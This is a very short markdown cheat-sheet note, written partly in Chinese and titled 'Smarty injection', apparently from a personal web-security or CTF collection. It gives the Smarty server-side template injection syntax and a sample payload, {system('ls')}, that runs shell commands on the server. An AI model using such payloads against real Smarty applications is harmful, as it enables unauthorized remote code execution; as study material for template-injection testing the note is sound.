Smarty注入.md

{<php_expression>}

例如

{system('ls')}

#Web #SSTI #smarty #PHP #RCE